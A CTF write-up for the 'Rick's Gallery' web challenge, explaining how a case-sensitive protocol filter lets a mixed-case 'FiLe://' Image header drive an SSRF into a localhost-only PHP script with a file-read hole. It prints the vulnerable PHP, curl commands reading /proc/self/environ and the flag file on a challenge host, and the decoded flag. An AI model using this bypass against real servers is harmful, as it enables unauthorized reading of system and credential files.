Logo

Writeup

Rick's Gallery ASIS CTF 2025 Finals — Writeup

0 0xAsta
December 27, 2025
3 min read
web ssrf lfi php

Rick’s Gallery Challenge — Writeup

This writeup details the solution for the “Rick’s Gallery” web challenge, which involves chaining a Server-Side Request Forgery (SSRF) with a Local File Inclusion (LFI) vulnerability to read a flag from the server’s filesystem.

Summary

The target is a PHP application that displays images. An endpoint in index.php accepts an Image HTTP header to specify which image to load. This script contains security filters, but a case-sensitive check on URL protocols can be bypassed. This flaw allows an SSRF attack targeting a local-only getpic.php script, which is vulnerable to LFI. By exploiting this chain, it’s possible to read arbitrary files. The final step involves enumerating common file locations to find and read the flag.

Key Code Snippets

  • index.php (Protocol & Path Filtering):
// The value from the 'Image' header is assigned to $raw
$raw = $headers["Image"];
// Protocols are blocked using a case-sensitive check
$blockedProtocols = [
"http://", "https://", "ftp://", "ftps://",
"file://", "data://", "expect://", "php://",
"passwd"
];
foreach ($blockedProtocols as $proto) {
if (strpos($raw, $proto) !== false) {
$raw = "";
break;
}
}
// Directory traversal is checked separately
if (str_contains($raw, "../") || str_contains($raw, "..\\")) {
$raw = "";
}
// SSRF call to the local-only getpic.php endpoint
$ch = curl_init("http://localhost:80/getpic.php");
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["picture_name" => $selected]));
// ...
  • getpic.php (Local File Inclusion):
<?php
// This script is restricted to localhost via .htaccess
if (!isset($_POST['picture_name'])) {
echo "No file.";
exit;
}
// Direct use of user input in file_get_contents, classic LFI
$data = file_get_contents($_POST['picture_name']);
echo base64_encode("$data");

Analysis

The vulnerability chain unfolds in two stages:

  1. SSRF via Filter Bypass in index.php: The script uses strpos() for checking against $blockedProtocols. Since strpos() is case-sensitive, sending a protocol like FiLe:// or HTTP:// bypasses the filter. The script then proceeds to make a cURL request to http://localhost:80/getpic.php, passing the user-controlled path as the picture_name POST parameter. This is a classic SSRF vulnerability.

  2. LFI in getpic.php: The getpic.php script is only accessible from localhost. It blindly takes the picture_name parameter and passes it to file_get_contents(), allowing any file readable by the web server to be accessed.

By controlling the Image header in a request to index.php, we can craft a payload that passes the case-sensitive filter and instructs getpic.php to read a file of our choice from the server’s filesystem.

Exploitation and Flag Recovery

The exploit process involves finding the flag’s absolute path and then reading it.

1. Confirming the Vulnerability and Finding the Webroot

First, we confirm the LFI works and identify the application’s path by reading the process environment file. This file often contains the present working directory (PWD).

Terminal window
# Use a mixed-case wrapper 'FiLe://' to bypass the filter
# and read the process environment variables.
curl -X POST http://65.109.194.105:8080/index.php -H "Image: FiLe:///proc/self/environ"

The server returns a base64-encoded string. Decoding it reveals the environment, including the line PWD=/var/www/html. This tells us the src directory is the webroot.

2. Locating the Flag

Since the webroot is /var/www/html, flag.txt should be in the parent directory, /var/www. However, attempts to read /var/www/flag.txt fail. This suggests either a permissions issue or an incorrect path.

The next logical step is to check other common locations for flags in CTF challenges. A quick check of /tmp/ proves successful.

3. Reading the Flag

With the correct path identified, we can read the flag file.

Terminal window
# Use the LFI to read the flag from /tmp/flag.txt
curl -X POST http://65.109.194.105:8080/index.php -H "Image: FiLe:///tmp/flag.txt"

This command returns the base64-encoded flag: QVNJU3tyMUNrX2g0ZF9Dbl83aDFzX0JlNH0K.

Finally, decode the string to get the flag.

Terminal window
echo "QVNJU3tyMUNrX2g0ZF9Dbl83aDFzX0JlNH0K" | base64 -d

Final Result

  • Discovered Path: /tmp/flag.txt
  • Flag: ASIS{r1Ck_h4d_Cn_7h1s_Be4}

Notes

  • The core weakness was relying on a case-sensitive string search (strpos) for security filtering, which is a common mistake.
  • The challenge effectively demonstrates chaining an SSRF with an LFI, where the SSRF acts as a vehicle to reach an internally-exposed, vulnerable endpoint.
  • Basic enumeration of common file locations was necessary to complete the final step after the initial path assumptions were proven wrong.

} } } } ]